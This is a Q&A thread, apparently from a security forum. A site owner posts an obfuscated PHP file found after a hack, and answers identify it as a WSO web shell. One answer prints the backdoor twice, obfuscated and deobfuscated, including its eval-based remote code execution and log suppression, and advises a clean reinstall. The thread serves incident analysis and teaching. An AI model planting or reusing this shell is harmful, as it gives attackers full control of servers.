30

Basically a website I am running got hacked in January and sent out a whole bunch of spam mails, traffic went through the roof, so the hosting company disabled the site back then, but that wasn't communicated well, so I'm dealing with it now.

Today, I looked over the files of the website and noticed a file that was created around 5 hours before I got a warning from the hosting company about my webpage spamming. Path of the file is www/root/rss.lib.php, and the content:

"< ?php ${"\x47LOB\x41\x4c\x53"}["\x76\x72vw\x65y\x70\x7an\x69\x70\x75"]="a";${"\x47\x4cOBAL\x53"}["\x67\x72\x69u\x65\x66\x62\x64\x71c"]="\x61\x75\x74h\x5fpas\x73";${"\x47\x4cOBAL\x53"}["\x63\x74xv\x74\x6f\x6f\x6bn\x6dju"]="\x76";${"\x47\x4cO\x42A\x4cS"}["p\x69\x6fykc\x65\x61"]="def\x61ul\x74\x5fu\x73\x65_\x61j\x61\x78";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x77i\x72\x6d\x78l\x71tv\x79p"]="defa\x75\x6c\x74\x5f\x61\x63t\x69\x6f\x6e";${"\x47L\x4fB\x41\x4cS"}["\x64\x77e\x6d\x62\x6a\x63"]="\x63\x6fl\x6f\x72";${${"\x47\x4c\x4f\x42\x41LS"}["\x64\x77\x65\x6dbj\x63"]}="\x23d\x665";${${"\x47L\x4fB\x41\x4c\x53"}["\x69\x77\x69rm\x78\x6c\x71\x74\x76\x79p"]}="\x46i\x6cesM\x61n";$oboikuury="\x64e\x66a\x75\x6ct\x5fc\x68\x61\x72\x73\x65t";${${"\x47L\x4f\x42\x41\x4cS"}["p\x69oy\x6bc\x65\x61"]}=true;${$oboikuury}="\x57indow\x73-1\x325\x31";@ini_set("\x65r\x72o\x72_\x6cog",NULL);@ini_set("l\x6fg_er\x72ors",0);@ini_set("max_ex\x65\x63\x75\x74\x69o\x6e\x5f\x74im\x65",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WS\x4f\x5fVE\x52S\x49ON","\x32.5\x2e1");if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x64\x69z\x62\x73\x75e\x66a"]="\x61\x72r\x61\x79";$cfnrvu="\x61r\x72a\x79";${"GLOB\x41L\x53"}["\x6b\x63\x6ct\x6c\x70\x64\x73"]="a\x72\x72\x61\x79";return is_array(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x7ad\x69\x7ab\x73\x75e\x66\x61"]})?array_map("\x57SOst\x72\x69\x70\x73\x6c\x61\x73\x68\x65s",${${"\x47\x4cO\x42\x41LS"}["\x6b\x63\x6c\x74l\x70\x64\x73"]}):stripslashes(${$cfnrvu});}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){header("\x48\x54TP/1.\x30\x204\x30\x34\x20\x4eo\x74 \x46ound");die("4\x304");}function WSOsetcookie($k,$v){${"\x47\x4cO\x42ALS"}["\x67vf\x6c\x78m\x74"]="\x6b";$cjtmrt="\x76";$_COOKIE[${${"G\x4c\x4f\x42\x41LS"}["\x67\x76\x66\x6cxm\x74"]}]=${${"GLO\x42\x41\x4cS"}["\x63\x74\x78\x76t\x6f\x6fknm\x6a\x75"]};$raogrsixpi="\x6b";setcookie(${$raogrsixpi},${$cjtmrt});}$qyvsdolpq="a\x75\x74\x68\x5f\x70\x61s\x73";if(!empty(${$qyvsdolpq})){$rhavvlolc="au\x74h_\x70a\x73\x73";$ssfmrro="a\x75t\x68\x5fpa\x73\x73";if(isset($_POST["p\x61ss"])&&(md5($_POST["pa\x73\x73"])==${$ssfmrro}))WSOsetcookie(md5($_SERVER["H\x54\x54P_\x48\x4f\x53T"]),${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x72\x69\x75e\x66b\x64\x71\x63"]});if(!isset($_COOKIE[md5($_SERVER["\x48T\x54\x50\x5f\x48O\x53\x54"])])||($_COOKIE[md5($_SERVER["H\x54\x54\x50_H\x4fST"])]!=${$rhavvlolc}))wsoLogin();}function actionRC(){if(!@$_POST["p\x31"]){$ugtfpiyrum="a";${${"\x47\x4c\x4fB\x41LS"}["\x76r\x76w\x65\x79\x70z\x6eipu"]}=array("\x75n\x61m\x65"=>php_uname(),"p\x68\x70\x5fver\x73\x69o\x6e"=>phpversion(),"\x77s\x6f_v\x65\x72si\x6f\x6e"=>WSO_VERSION,"saf\x65m\x6f\x64e"=>@ini_get("\x73\x61\x66\x65\x5fm\x6fd\x65"));echo serialize(${$ugtfpiyrum});}else{eval($_POST["\x70\x31"]);}}if(empty($_POST["\x61"])){${"\x47L\x4fB\x41LS"}["\x69s\x76\x65\x78\x79"]="\x64\x65\x66\x61\x75\x6ct\x5f\x61c\x74i\x6f\x6e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x6f\x65c\x68\x79\x6d\x7ad\x64\x64"]="\x64\x65\x66a\x75\x6c\x74_\x61\x63\x74\x69\x6fn";if(isset(${${"\x47L\x4f\x42\x41LS"}["\x69\x77ir\x6d\x78lqtv\x79\x70"]})&&function_exists("\x61ct\x69\x6f\x6e".${${"\x47L\x4f\x42\x41\x4cS"}["\x75o\x65ch\x79\x6d\x7a\x64\x64\x64"]}))$_POST["a"]=${${"\x47\x4c\x4f\x42ALS"}["i\x73\x76e\x78\x79"]};else$_POST["a"]="\x53e\x63\x49\x6e\x66o";}if(!empty($_POST["\x61"])&&function_exists("actio\x6e".$_POST["\x61"]))call_user_func("\x61\x63\x74\x69\x6f\x6e".$_POST["a"]);exit;
?>

My first thought was to delete the file and make sure my password is secure, but I'm quite new at this, so advice would be appreciated.

Vilican
  • 2,703
  • 8
  • 21
  • 35

2 Answers2

51

I deobfuscated the code for you, which is encoded using Ascii Escapes:

<?php 
        $GLOBALS["vrvweypznipu"]="a";
        $GLOBALS["griuefbdqc"]="auth_pass";
        $GLOBALS["ctxvtooknmju"]="v";
        $GLOBALS["pioykcea"]="default_use_ajax";
        $GLOBALS["iwirmxlqtvyp"]="default_action";
        $GLOBALS["dwembjc"]="color";
        $GLOBALS["dwembjc"]="#df5";
        $GLOBALS["iwirmxlqtvyp"]="FilesMan";

        $oboikuury="default_charset";

        $GLOBALS["pioykcea"]=true;

        $oboikuury = "Windows-1251";

        @ini_set("error_log",NULL);
        @ini_set("log_errors",0);
        @ini_set("max_execution_time",0);

        @set_time_limit(0);
        @set_magic_quotes_runtime(0);
        @define("WSO_VERSION","2.5.1");

        if(get_magic_quotes_gpc())
        {
            function WSOstripslashes($array)
            {
                $GLOBALS["zdizbsuefa"]="array";
                $cfnrvu="array";
                $GLOBALS["kcltlpds"]="array";

                return is_array($GLOBALS["zdizbsuefa"]) ? array_map("WSOstripslashes",$GLOBALS["kcltlpds"]) : stripslashes($cfnrvu);
            }

            $_POST = WSOstripslashes($_POST);
            $_COOKIE = WSOstripslashes($_COOKIE);
        }

        function wsoLogin()
        {
            header("HTTP/1.0 404 Not Found");
            die("404");
        }

        function WSOsetcookie($k,$v)
        {
            $GLOBALS["gvflxmt"]="k";
            $cjtmrt="v";
            $COOKIE[$GLOBALS["gvflxmt"]]=$
            {
                $GLOBALS["ctxvtooknmju"]
            };

            $raogrsixpi="k";

            setcookie($raogrsixpi,$cjtmrt);
        }

        $qyvsdolpq="auth_pass";

        if(!empty($qyvsdolpq))
        {
            $rhavvlolc="authpass";
            $ssfmrro="auth_pass";

            if (isset($_POST["pass"]) &&(md5($_POST["pass"])== $ssfmrro))
            {
                WSOsetcookie(md5($SERVER["HTTPHOST"]),$GLOBALS["griuefbdqc"]);
            }

            if(!isset($_COOKIE[md5($_SERVER["HTTP_HOST"])])||($_COOKIE[md5($_SERVER["HTTP_HOST"])]!= $rhavvlolc))
            {
                wsoLogin();
            }
        }

        function actionRC()
        {
            if(!@$_POST["p1"])
            {
                $ugtfpiyrum = "a";
                $GLOBALS["vrvweypznipu"] = array("uname"=>php_uname(), "php_version"=>phpversion(), "wso_version"=>WSO_VERSION, "safemode"=>@ini_get("safe_mode"));

                    echo serialize($ugtfpiyrum);
            }
            else
            {
                eval($_POST["p1"]);
            }
        }

        if(empty($POST["a"]))
            {
                $GLOBALS["isvexy"]="default_action";
                $GLOBALS["uoechymzddd"]="defaultaction";

                if(isset($GLOBALS["iwirmxlqtvyp"]) && function_exists("action".$GLOBALS["uoechymzddd"]))
                {
                    $_POST["a"]=$GLOBALS["isvexy"];

                    else
                    { 
                        $_POST["a"]="SecInfo";
                    }
                }
            }
    if(!empty($_POST["a"])&&function_exists("action".$_POST["a"]))
    {
        call_user_func("action".$_POST["a"]);
    }
    exit; 
?>

As you can see, it's turning off your error logging, and not allowing you to log errors, then it's setting the max_execution_time to 0. Judging by these settings, it looks like it's trying to prevent you from finding out if there's an error, and from getting more information about what's going on, in the log files.

The max_execution_time variable, along with set_time_limit(0), may be used to allow the script to run indefinitely. The purpose of this, in general, is to allow large SQL queries to run.

So what else does it do?

With this line here:

  • eval($_POST["p1"]); (deobfuscated)
  • eval($_POST["\x70\x31"]); (obfuscated)

...it allows the attacker to execute any kind of PHP code they want on your system. At this point, you are completely unsafe, and should assume everything is compromised on your server.

The eval() line is used to create an arbitrary code execution backdoor into your web pages. This line allows them to POST this: yourpage.php?p1=execute_dangerous_code_here, which is pretty dangerous. The entire code is based around hiding itself. If you don't send the p1 variable, then it looks for the PHP version, etc., and puts it into $GLOBALS["vrvweypznipu"], so it (presumably) can help find other exploits. If you do post it, it executes the code and continues normally.

Now, this could be pretty error prone -- trying to get your arbitrary code working -- unless you tested it out beforehand, but it won't let you know if there's an error since it's disabled logging, and errors.

I highly recommend nuking from orbit with a fresh install. Restore a backup of all of your WordPress files. If you have no backups, and have to rely on what you have on the server, then you'll have to clean them yourself.

If you know how to code, look for anything in your PHP files containing this string: "eval($", (or even "eval("). You'll need to open the files for editing to ensure they're legitimate and, if not, remove all files containing it. In fact, if you ever see obfuscated code like this, assume it's a hack. There's pretty much no reason to ever code like this. No legitimate service should ever do it.

Mark Buffalo
  • 22,498
  • 8
  • 74
  • 91
  • 7
    look like a famous exploit : https://www.reddit.com/r/webdev/comments/2lgtsb/php_wordpress_exploit_code_what_does_it_do/ and http://malwarecode.blogspot.fr/2013/02/filesman-backdoor-script.html can find lot of more on google – Froggiz Nov 06 '15 at 16:24
  • 2
    Now, edit the code and use it to collect their IP addresses and fire your weapons to them. \* *fade out with echoed evil laugh* \* – MacK Nov 08 '15 at 13:54
  • @MacK, That's actually a pretty good idea... nice! – Mark Buffalo Nov 08 '15 at 14:24
12

If you are, as you mention, "quite new at this" you will not be able to safely remove the effects of the hack.

Restart from scratch: fresh server, fresh WordPress install and keep all this up to date. You can import text/images/video data back. There are lots of resources about how to harden a server as well as WordPress.

As @MarkHulkalo mentions, you can always keep an offline copy and use it to learn forensics to possibly understand how the hack happened.

WoJ
  • 8,957
  • 2
  • 32
  • 51
  • 6
    I disagree that he should start from scratch, at least he shouldn't just nuke from orbit without saving the infected files. This is a good opportunity to really delve into it and get a better understanding. If he stays "quite new at this" forever, he won't get any benefit. He'll just be another `nuke from orbit` guy. – Mark Buffalo Nov 06 '15 at 16:01
  • 1
    One can always play on the side with an offline copy to learn forensics. It will take time. If he wants to have his blog back to production he must start from scratch. – WoJ Nov 06 '15 at 16:02
  • Agreed. Edited my comment to reflect that. – Mark Buffalo Nov 06 '15 at 16:04
  • 1
    @MarkHulkalo: I also updated my answer with you suggestion. – WoJ Nov 06 '15 at 16:06
  • 1
    Thank you both for your input, I'll probably try to set up everything from scratch, since I wasn't the one, who did it in the first place, and being "quite new at this" basically means I haven't done anything. Ever. Trying to fix it, doesn't sound like the best decision to be if I've never worked with that kind of code and software. – Dimitar Yordanov Nov 06 '15 at 16:22
  • @DimitarYordanov, I've updated my post to help you get a better understanding of what's going on. I hope it helps. – Mark Buffalo Nov 06 '15 at 16:54
  • 1
    Thank you, Mark, it helps a lot. As I mentioned several times, this is my first experience with this kind of coding, so I often feel lost, especially since the first thing I got to do is not just an exercise, but an actual hacking problem. I'll start improving though! Big thank you to all who joined the conversation! – Dimitar Yordanov Nov 06 '15 at 18:02
  • 1
    @DimitarYordanov Make sure to keep all the files under version control. That still leaves the annoyance of cleansing the database or restoring from an outdated backup, but it's still one headache less. – CodesInChaos Nov 06 '15 at 19:05